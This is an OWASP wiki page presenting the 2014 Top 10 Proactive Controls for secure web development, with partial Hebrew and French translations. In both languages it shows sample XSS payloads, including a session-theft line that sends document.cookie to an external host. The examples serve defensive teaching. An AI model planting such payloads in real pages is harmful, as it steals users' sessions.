 * OWASP-2014-C10: Design and Architect Security In

= Translations =


 * Top 10 Proactive Controls 2016 Japanese Translation [/images/a/a8/OWASPTop10ProactiveControls2016-Japanese.pdf PDF download]
 * Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASPProactiveControls2016-Hebrew.pdf|PDF Download]]
 * Top 10 Proactive Controls 2016 Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf | PDF Download]]
 * Hebrew and French translations of the Top 10 Proactive Controls 2014 can be found on the 2014 archive tab.

= Project Roadmap =

Welcome to the OWASP Top 10 Proactive Controls Project!

2016 Roadmap

 * Create new PowerPoint and other artifacts for 2016 version (done)
 * Proactive Control Mapping to Cheatsheet (in progress)

Status

 * February 21, 2014 Moved 2014 info to archive tab
 * January 15, 2016: 2016 Proactive Controls Released!
 * August 6, 2015: Kickoff for 2.0 effort, in progress
 * March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.
 * February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.

= 2014 Archive =

 OWASP Top 10 Proactive Controls 2014 

Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.

This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.

There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end. The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire Cheat Sheets series team whose content has been pulled from liberally for this document.

Introducing the OWASP Top Ten Proactive Controls 2014.

1: Parameterize Queries
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit, with easy to use automated attack tools available, and can deliver an impact to your application that is devastating.

The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped or modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.

To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.

Here is an example of Query Parameterization in Java:

String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);

Here is an example of query parameterization in PHP:

$email = $_REQUEST[‘email’]; $id = $_REQUEST[‘id’]; $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);

Key References
 * Query Parameterization Cheat Sheet
 * OWASP Secure Coding Practices Quick Reference Guide

2: Encode Data
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. Encoding needed to stop various forms of injection include Unix encoding, Windows encoding, LDAP encoding and XML encoding. Another example of encoding is output encoding necessary to prevent Cross Site Scripting.

Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.

For example:

XSS site defacement:

document.body.innerHTML(“Jim was here”);

XSS session theft:

var img = new Image; img.src=&quot;http&#58;// .com?” + document.cookie;

There are two broad classes of XSS: Persistent and Reflected. Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users. Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.

Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block. The encoding required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project and Enterprise Security API (ESAPI) provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library.

Key References
 * Stopping XSS in your web application: OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
 * General information about injection: Top 10 2013-A1-Injection

Key Tools
 * OWASP Java Encoder Project
 * Microsoft .NET AntiXSS Library
 * OWASP ESAPI
 * OWASP Encoder Comparison Reference Project

3: Validate All Inputs
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be manipulated by an attacker.

One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation can be included in web applications in the server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern.

There are two typical approaches to performing input validation: “white list" and "black list" validation. White list validation seeks to define what good input should look like. Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or other known bad characters. “Black list” validation is a more error prone and difficult to maintain approach because it can sometimes be bypassed through encoding and other obfuscation techniques. The blacklist also has to continually be updated as new attacks or encoding techniques are discovered. Because of these weaknesses it is not recommended when building a secure web application. The following examples will focus on white list validation.

When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings. By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.

Let’s start with the following regular expression for the username.

^[a-z0-9_]{3,16}$

This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.

Here is an example regular expression for the password field.

^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$

This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).

Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).

^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the OWASP Java HTML Sanitizer. A regular expression is not the right tool to parse and sanitize untrusted HTML.

Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” since it may be necessary to accept potentially dangerous characters as valid input. The security of the application should then be enforced where that input is used, for example, if it is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross Site Scripting attacks.

Key References
 * Input Validation Cheat Sheet

Key Tools
 * OWASP JSON Sanitizer Project
 * OWASP Java HTML Sanitizer Project
 * Apache Commons Validator

4: Implement Appropriate Access Controls
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused.

Access Control can be a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front.

Force all requests to go through access control checks
Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.

Deny by default
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.

Avoid hard-coded policy-based access control checks in code
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.

Code to the activity
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.

Server-side trusted data should drive access control
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.

Key References
 * Access Control Cheat Sheet
 * http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html

Key Tool
 * OWASP PHPRBAC Project
 * Apache Shiro Authorization features

5: Establish Identity and Authentication Controls
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.

Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.

Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.

Key References
 * Authentication Cheat Sheet
 * Password Storage Cheat Sheet
 * Forgot Password Cheat Sheet
 * Session Management Cheat Sheet

Encrypting data in Transit
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto and recommended method for implementing transport layer encryption.

Key References
 * Proper SSL/TLS configuration: Transport Layer Protection Cheat Sheet
 * Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: Pinning Cheat Sheet

Encrypting data at Rest
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied expert. Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed an open libraries be used instead, such as the Google KeyCzar project, Bouncy Castle and the functions included in SDKs. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.

A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat). Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory.

Key References
 * Information on low level decisions necessary when encrypting data at rest: Cryptographic Storage Cheat Sheet
 * Password Storage Cheat Sheet

Key Tools
 * OWASP SSL Audit for Testers
 * Google KeyCzar

Implement Protection in Process
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.

7: Implement Logging and Intrusion Detection
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:


 * Application monitoring
 * Business analytics and insight
 * Activity auditing and compliance monitoring
 * System intrusion detection
 * Forensics

To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.

Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.

It is important not to log too much, or too little. Make sure to always log the time stamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka Log Forging, make sure to perform encoding on untrusted data before logging it.

The OWASP AppSensor Project explains how to implement intrusion detection and automated response into an existing application: where to add sensors or detection points and what response actions to take when a security exception is encountered in your application.

Key References
 * How to properly implement logging in an application: Logging Cheat Sheet

Key Tool
 * OWASP AppSensor Project

8: Leverage Security Features of Frameworks and Security Libraries
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.

When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:


 * Spring Security
 * Apache Shiro

It is critical to keep these frameworks and libraries up to date as described in the using components with known vulnerabilities Top Ten 2013 risk.

Key References
 * PHP Security Cheat Sheet
 * .NET Security Cheat Sheet

9: Include Security-Specific Requirements
There are three basic categories of security requirements that can be defined early-on in a software development project:

1) Security Features and Functions: the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by QA staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.

2) Business Logic Abuse Cases: Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from "abuse cases".  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.

3) Data Classification and Privacy Requirements: developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.

Key References
 * OWASP Application Security Verification Standard Project
 * Software Assurance Maturity Model
 * Business Logic Security Cheat Sheet
 * Testing for business logic (OWASP-BL-001)

10: Design and Architect Security In
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:

1) Know your Tools: Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.

2) Tiering, Trust and Dependencies: Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.

3) Manage the Attack Surface: Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?

Key References
 * Software Assurance Maturity Model (OpenSAMM)
 * Application Security Verification Standard Project
 * Application Security Architecture Cheat Sheet
 * Attack Surface Analysis Cheat Sheet
 * Threat Modeling Cheat Sheet

 Hebrew 2014  בקרות פרו-אקטיביות של OWASP

מרבית המפתחים שמעו על מסמך OWASP Top 10, רשימת 10 פגיעויות האבטחה החמורות ביותר בעולם פיתוחי ה-Web, אשר יש להימנע מהן.

עם זאת, על-מנת להימנע מהן, מפתחים חייבים להיות מודעים לבקרות הפרו-אקטיביות על-מנת לשלבן בשלבים מוקדמים של מחזור חיי פיתוח תוכנה.

מסמך זה מתחיל בהצגת עשרת הבקרות הפרו-אקטיביות של OWASP, ולאחר מכן מספק מיפוי של עשרת הפגיעויות הנפוצות של OWASP למול הבקרות המתאימות.



 French 2014 

Le Top Dix des Contrôles Proactifs de l'OWASP est une liste des techniques de sécurité qui devraient être incluses dans tout projet de développement de logiciels. Elles sont classées par ordre d'importance, le chiffre 1 signifiant le plus haut niveau. Ce document a été rédigé par des développeurs pour des développeurs en vue d’aider ceux qui débutent dans la prise en compte de la sécurité dans leur développement.


 * 1) Requêtes Paramétrées
 * 2) Encoder les données
 * 3) Valider toutes les données entrantes
 * 4) Implémenter les contrôles d'accès appropriés
 * 5) Établir les contrôles d'identité et d'authentification
 * 6) Protéger les données et la vie privée
 * 7) Implémenter la journalisation, la gestion d'erreurs et la détection d'intrusion
 * 8) Exploiter les fonctionnalités de sécurité des frameworks et bibliothèques de sécurité
 * 9) Inclure les exigences de sécurité spécifiques
 * 10) Conception et architecture de sécurité

Présentation du Top Dix 2014 des Contrôles Proactifs de l'OWASP

Les développeurs de logiciels sont à l’origine de toutes les applications informatiques. Afin de réaliser un logiciel sécurisé, il est vital qu’ils soient soutenus et aidés par l'organisation pour laquelle ils écrivent le code. Comme ils sont les concepteurs des applications web, il est nécessaire qu’ils intègrent et adoptent un très large éventail de techniques de sécurisation du code. A tous les niveaux du développement d’une application web, l'interface utilisateur, la logique métier, le contrôleur, le code de base de données, etc., il faut avoir à l’esprit la sécurité. Cela représente une tâche qui peut être très difficile et conduit souvent les développeurs à des situations d’échec.

La plupart des développeurs n'ont pas étudié la sécurité des développements ou la cryptographie pendant leurs études. Pour créer des applications web, ils utilisent des langages et frameworks, et ceux-ci manquent souvent des contrôles de bases essentiels ou ne sont pas, d’une quelconque façon, sécurisés par défaut. De plus, rarement, les entreprises fournissent aux développeurs des exigences normatives qui puissent les guider vers l’écriture de logiciels sécurisés. Et quand bien même elles le font, il peut exister des failles de sécurité inhérentes à ces exigences et à la conception. Les développeurs sont souvent programmés pour perdre la bataille de la sécurité.

Ce document a été rédigé par des développeurs pour des développeurs en vue d’aider ceux qui débutent dans la prise en compte de la sécurité dans leur développement. Son objectif est de guider les développeurs et tous les professionnels du développement logiciel sur la voie du développement d'applications web sécurisées.

Il existe plus de 10 problèmes sur lesquels les développeurs doivent porter leur attention. Dans ce top dix, certains sont très spécifiques et d’autres plus généraux. Certains sont d’ordre technique et d’autres concernent les processus de base. Certains diront que ce document comprend des points qui ne sont pas du tout des contrôles. Toutes ces préoccupations sont justes. Encore une fois, c'est un document de sensibilisation destiné aux débutants en développement de logiciels sécurisés. C'est un début, et non une fin.

Comme un grand nombre de personnes a influencé ou contribué à ce document il est impossible de tous les nommer. Je tiens aussi à remercier particulièrement toute l'équipe des séries Cheat Sheets dont le contenu a été réutilisé pour ce document.

1: Requêtes Paramétrées
L'injection SQL est l’un des risques majeurs pour une application web. Cela est dû au fait que celle-ci est à la fois facile à exploiter avec des outils automatisés très simples et peut aussi avoir un impact dévastateur sur votre application.

Une simple insertion d'un code malicieux SQL dans votre application - et la totalité de la base de données peut potentiellement être volée, effacée ou modifiée. L'application web peut même être utilisée pour lancer des commandes systèmes contre le système d'exploitation hébergeant la base de données.

Pour empêcher les injections SQL, les développeurs doivent éviter qu'une donnée non-fiable soit interprétée comme faisant partie d'une commande SQL. La meilleure façon de le faire est à l'aide de la technique de programmation connue sous le nom de Requêtes Paramétrées.

Voici un exemple de requête paramétrée en Java String newName = request.getParameter("newName"); String id = request.getParameter("id"); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);

Voici un exemple de requête paramétrée en PHP $email = $_REQUEST['email']; $id = $_REQUEST['id']; $stmt = $dbh->prepare("update users set email=:new_email where id=:user_id"); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);

Principales références
 * Query Parameterization Cheat Sheet
 * OWASP Secure Coding Practices Quick Reference Guide

2: Encoder les données
L’encodage est un mécanisme puissant qui aide à se protéger contre  de nombreux types d'attaques, en particulier les attaques par injection. En substance, l’encodage consiste à traduire les caractères spéciaux en un équivalent qui n'a plus de signification pour l'interpréteur cible. Cela permet de contrecarrer les diverses formes d'injections dont l'encodage Unix, Windows, LDAP ou encore XML. Un autre exemple est l'encodage des données de sortie indispensable pour prévenir les Cross Site Scripting.

Les développeurs Web conçoivent souvent des pages web de façon dynamique. Elles sont constituées d'un mélange de codes HTML / JavaScript et de données issues de base de données constituée initialement avec des données utilisateurs. Toutes ces données doivent être considérées comme des données non fiables et dangereuses, et qui nécessite,  si l’on veut construire une application web sécurisée, un traitement spécial. Cross Site Scripting (XSS) ou, pour lui donner sa définition complète, injection JavaScript, se produit quand un attaquant tente d’abuser vos utilisateurs par l'exécution de code JavaScript malveillant qu’il injecte directement dans le code de votre propre site web. Les attaques XSS sont exécutées dans le navigateur de l'utilisateur et peuvent avoir une grande diversité de conséquences.

Par exemple: Altération d’un site par XSS document.body.innerHTML(“Jim was here”);

Vol de session par XSS var img = new Image;  img.src="http&#x3A;&#x2F;&#x2F; .com?” + document.cookie;

Il existe deux grandes catégories de XSS: persistants et réfléchis. On parle de XSS persistant (ou XSS stocké) quand une attaque XSS peut être intégré dans une base de données ou un système de fichiers d'un site Web. Cette variante de XSS est la plus dangereuse car les utilisateurs sont en général déjà connectés sur le site lorsque l'attaque est exécutée, et une seule attaque par injection peut affecter un grand nombre d’utilisateurs différents. On parle de XSS réfléchie lorsque l'attaquant place des données XSS dans une partie d’une URL et trompe sa victime en lui demandant de visiter cette URL. Quand la victime visite l’URL, l'attaque XSS se lance. Ce type d’attaque est moins dangereux car elle nécessite une interaction entre l'attaquant et la victime.

L’encodage contextuel de sortie est une technique de programmation indispensable pour déjouer les attaques XSS. Celui-ci est réalisé sur la sortie, lorsque vous développez une interface utilisateur, au dernier moment, avant que les données non fiable soit ajoutée dynamiquement au HTML. Le type d’encodage nécessaire dépendra du contexte du HTML dans lequel les données non fiables sont ajoutées. Par exemple, dans une valeur d'attribut, dans le corps principal HTML, ou même dans un bloc de code JavaScript. L’encodage à utiliser pour contrer une attaque XSS comprend l'encodage des entités HTML, l'encodage JavaScript et l'encodage pourcentage (appelé également l'encodage d'URL). Le projet OWASP Java Encoder et Enterprise Security API (ESAPI) fournissent des encodeurs de ces fonctionnalités pour Java. Pour .NET 4.5, la classe AntiXssEncoder fournit des encodeurs CSS, HTML, URL, pour les chaînes Javascript et XML. D’autres encodeurs pour LDAP et VBScript sont inclus dans la bibliothèque AntiXSS open source.

Principales références
 * Stopping XSS in your web application: OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet
 * General information about injection: Top 10 2013-A1-Injection

Outils principaux
 * OWASP Java Encoder Project
 * Microsoft .NET AntiXSS Library
 * OWASP ESAPI
 * OWASP Encoder Comparison Reference Project

3: Valider toutes les données entrantes
Il est absolument essentiel de considérer toutes les données extérieures à l’application (données entrantes) comme non-fiables (par exemple, celles provenant de navigateurs ou clients mobiles, de systèmes extérieurs ou de fichiers). Pour les applications Web, cela inclut les entêtes HTTP, cookies et paramètres GET ou POST. En effet, tout ou partie de ces données peuvent être modifiées par un attaquant.

L'une des points les plus importants, lors de la création d’une application Web sécurisée, est la limitation des données qu'un utilisateur est autorisé à soumettre à celle-ci. Limiter les données entrantes d'un utilisateur est une technique appelée “validation des données entrantes”. La validation des données entrantes peut être incluse dans le code d’une application web côté serveur en utilisant des expressions régulières. Celles-ci sont une sorte de syntaxe de code qui peut aider à savoir si une chaîne correspond à un certain modèle.

Il existe deux approches classiques pour effectuer une validation des données entrantes : par "liste blanche" et par "liste noire". La "liste blanche" cherche à définir à quoi ressemble une donnée valide. Toute donnée qui ne répond pas à la définition “good input” devra être refusée. La validation par “liste noire” s’efforce de détecter et de repousser les attaques connues ainsi que rejeter les caractères connus non conformes. Cette méthode de  “liste noire” conduit plus facilement à des erreurs de validation et est plus difficile à maintenir car elle peut parfois être contournée par l'encodage et diverses techniques d'obfuscation. Elle doit aussi être continuellement mise à jour pour prendre en compte la découverte de nouvelles attaques et techniques d’encodage. En raison de ces faiblesses, elle n'est pas recommandée lors de la création d'une application web sécurisée. Les exemples suivants se concentreront donc sur l'utilisation de la liste blanche.

Lorsqu’un utilisateur s'enregistre pour la première fois sur une application web, les premières informations qui lui sont demandées sont un nom d'utilisateur, un mot de passe et une adresse e-mail. Si ces données proviennent d'un utilisateur malveillant, celles-ci peuvent contenir des chaînes d'attaques. En validant chaque données entrantes et en s'assurant qu'elles ne contiennent uniquement qu’un jeu de données validé, nous pouvons rendre l'attaque de cette application plus compliquée.

Commençons avec l'expression régulière suivante pour le nom d'utilisateur. ^[a-z0-9_]{3,16}$

Avec la méthode de validation par liste blanche, cette expression régulière accepte uniquement les lettres minuscules, les chiffres et le caractère underscore. Dans cet exemple, la taille du nom d'utilisateur est également limitée de 3 à 16 caractères.

Ci-dessous, un exemple d’expression régulière pour le mot de passe. ^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@#$%]).{10,64}$

Cette expression régulière s'assure que le mot de passe à une longueur comprise entre 10 et 64 caractères et contient au moins une lettre majuscule, une lettre minuscule, un chiffre et un caractère spécial (&, #, $ ou % présent une ou plusieurs fois).

Ci-après, un exemple d’expression régulière pour une adresse e-mail (selon la spécification HTML5) ^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]+)*$

Dans certains cas spéciaux, la validation par expression régulière n’est pas suffisante. En effet, si votre application manipule des balises - des données entrantes non fiables pouvant contenir du HTML - il peut vite devenir très difficile d’effectuer une validation. L'encodage peut également être compliqué, puisqu'il casserait toutes les balises appartenant à la donnée entrante. Dans ce genre de cas, vous avez besoin d’une librairie qui parse et nettoie le HTML comme l'OWASP Java HTML Sanitizer. Les expressions régulières ne sont pas la bonne méthode pour parser et nettoyer le HTML non-fiable.

Nous mettons en avant ici une évidence malheureuse de la validation des données entrantes : la validation des entrées ne rends pas forcément sûr une donnée non-fiable, puisqu'il peut être nécessaire d'accepter des caractères potentiellement dangereux comme étant des données valides. La sécurité de l'application devrait donc par la suite être renforcée là où cette entrée est exploitée. Par exemple, si la donnée entrante est utilisée pour construire une réponse HTML, l'encodage approprié du HTML doit être ensuite effectué pour prévenir les attaques de type Cross Site Scripting.

Principales références
 * Input Validation Cheat Sheet

Outils principaux
 * OWASP JSON Sanitizer Project
 * OWASP Java HTML Sanitizer Project
 * Apache Commons Validator

4: Implémenter les contrôles d'accès appropriés
Le Contrôle d’Accès est le processus par lequel les demandes d'accès à un élément ou à une ressource précise sont accordées ou refusées. Il convient de noter que le Contrôle d’Accès n'est pas équivalent à l'authentification (vérification de l'identité). Ces termes et leurs définitions sont souvent confondus.

Le Contrôle d’Accès est une sécurité qui peut être relativement complexe mais de conception robuste. C’est lors des premières étapes de développement d’une application que devraient être étudiés les principes “positifs” suivants de conception de contrôle d’accès. En effet, une fois que vous avez choisi un modèle spécifique de conception de contrôle d'accès, il est souvent difficile et consommateur de temps de le remplacer au sein de votre application par un nouveau modèle. Le Contrôle d'Accès est l'un des domaines principaux de la conception de la sécurité d'une application et doit être pensé le plus tôt possible.

Forcer les contrôles d'accès pour toutes les requêtes
Dans la plupart des frameworks et des langages, l'accès à une fonctionnalité est réalisé seulement si le développeur la met en place. Avec une vision inverse, centrée sur la sécurité, tous les accès seraient vérifiés par défaut. Pensez donc à utiliser un filtre ou tout autre mécanisme automatique pour vous assurer que l'ensemble des requêtes passent par des contrôles d'accès.

Tout refuser par défaut
Pour continuer avec la validation automatique par les contrôles d’accès, il est crucial d’interdire l’ensemble des accès aux fonctionnalités qui n’ont pas encore de contrôles d’accès configurés. Et pourtant, ce n’est pas cela qui est appliqué, mais bien l’inverse. Les nouvelles fonctionnalités créées sont accessibles sans restriction  jusqu'à ce qu'un développeur y ajoute un contrôle d'accès.

Eviter de coder en dur les règles des contrôles d'accès
Fréquemment, la politique de contrôle d'accès est codée en dur dans le code de l'application. Cela rend très difficile les audits et tests de sécurité de l'application et est consommateur de temps. La politique de contrôle d'accès et le code de l'application doivent être séparés le plus possible. En d'autres termes, votre couche d'application (contrôles du code) et votre processus de prise de décision sur vos contrôles d'accès (le "moteur" des contrôles d'accès) doivent être séparés le plus possible.

Coder pour les fonctionnalités
La plupart des frameworks web utilisent les rôles dans les contrôles d'accès comme méthode principale de vérification des points de passages dans le code de l'application. S’il est acceptable d'utiliser les rôles dans les mécanismes de contrôle d'accès, écrire un code spécifique à un rôle dans votre application est un contre-modèle. Dans le code source, il est préférable de vérifier qu'un utilisateur a accès à une fonctionnalité, plutôt que de vérifier qu'un utilisateur appartient à un rôle.

Les données sûres côté serveur doivent piloter les contrôles d'accès
La plupart des données dont vous avez besoin pour prendre une décision sur un contrôle d'accès (qui est l'utilisateur et est-il identifié ?, quels sont les droits de l'utilisateur ?, quelle est la politique de contrôle d'accès ?, quelles fonctionnalité et données sont demandées ?, quelle heure est-il ?, quelle est la géolocalisation ?, etc...) doit être récupérée "côté serveur" dans une application web standard ou un service Web. La politique de données, telle que le rôle d'un utilisateur ou une règle de contrôle d'accès, ne devrait jamais faire partie de la requête. Dans une application Web standard, les seules données côté client qui sont nécessaires pour effectuer un contrôle d'accès sont l'identifiant ou les identifiants des données à accéder. Toutes les autres données nécessaires pour prendre une décision sur un contrôle d'accès doivent être récupérées côté serveur.

Principales références
 * Access Control Cheat Sheet
 * http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html

Outils principaux
 * OWASP PHPRBAC Project
 * Apache Shiro Authorization features

5: Définir les contrôles d'identités et d'authentification
